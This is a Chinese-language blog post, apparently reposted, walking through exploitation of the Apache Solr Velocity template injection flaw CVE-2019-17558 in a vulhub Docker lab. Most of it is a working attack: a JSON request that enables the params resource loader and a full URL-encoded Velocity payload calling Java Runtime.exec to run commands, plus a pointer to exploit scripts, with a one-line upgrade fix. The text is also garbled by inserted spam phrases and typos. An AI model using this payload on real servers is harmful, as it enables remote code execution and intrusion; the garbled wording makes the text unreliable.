Apache Solr Velocity注入远程命令执行漏洞CVE-2019-17558怎么分析


Apache Solr Velocity注入远程命令执行漏洞CVE-2019-17558怎么分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。Solr 是一个开源的企业级搜索服务器,底层使用易于扩展和修改的Java 来实现。服务器通信使用标准的HTTP 和XML,所以如果使用Solr 了解Java 技术会有用却不是必须的要求。Solr 主要特性有:强大的全文检索功能,高亮显示检索结果,动态集群,数据库接口和电子文档(Word ,PDF 等)的处理。而且Solr 具有高度的可扩展,支持分布搜索和索引的复制。Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity免费云主机域名模板利用该漏洞在系统上执行任意代码。Apache Solr 5.0.0 ~8.3.11、本次环境搭建使用vulhub搭建,下载地址:git clone chttps://github.com/vulhub/vulhub.git2、下载至有docker环境的虚拟机中,进入目录拉取dockercd vulhub-master/solr/CVE-2019-17558/docker-compose up -d3、看到绿色“done”拉取成功,在浏览器访问http://your-ip:89831、默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。可以先通过如下API获取所有的核心 //在vulhub中核心就是demohttp://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json2、启用配置params.resource.loader.enabled,在url访问/solr/demo/config使用Burp抓包改成POST然后修改启动配置 //然后把Content-Type修改成application/json{“update-queryresponsewriter”: {“startup”: “lazy”,”name”: “velocity”,”class”: “solr.VelocityResponseWriter”,”template.base.dir”: “”,”solr.resource.loader.enabled”: “true”,”params.resource.loader.enabled”: “true”}}3、然后通过Velocity模板即可执行任意命令,命令如下:http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end4、使用python脚本进行漏洞利用,使用python3运行,脚本下载地址://注:此类利用脚本GitHub上很多可自行搜索https://github.com/zhzyker/exphub1、建议升级Appache Salc到最新版看完上述内容,你们掌握Apache Solr Velocity注入远程命令执行漏洞CVE-2019-17558怎么分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注云编程开发博客行业资讯频道,感谢各位的阅读!

相关推荐: Windows 10系统安装虚拟专用网客户端工具

由于很多情况下,员工出差时会用到虚拟专用网技术访问公司内部的资源,加之现在个人的电脑大多都是Windows 10系统,由于安免费云主机域名装windows 10系统需要安装一些组件,那么就简单介绍一下如何在Windows 10的系统上安装虚拟专用网客户端工具。…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

Like (0)
Donate 微信扫一扫 微信扫一扫
Previous 02/05 13:38
Next 02/05 13:38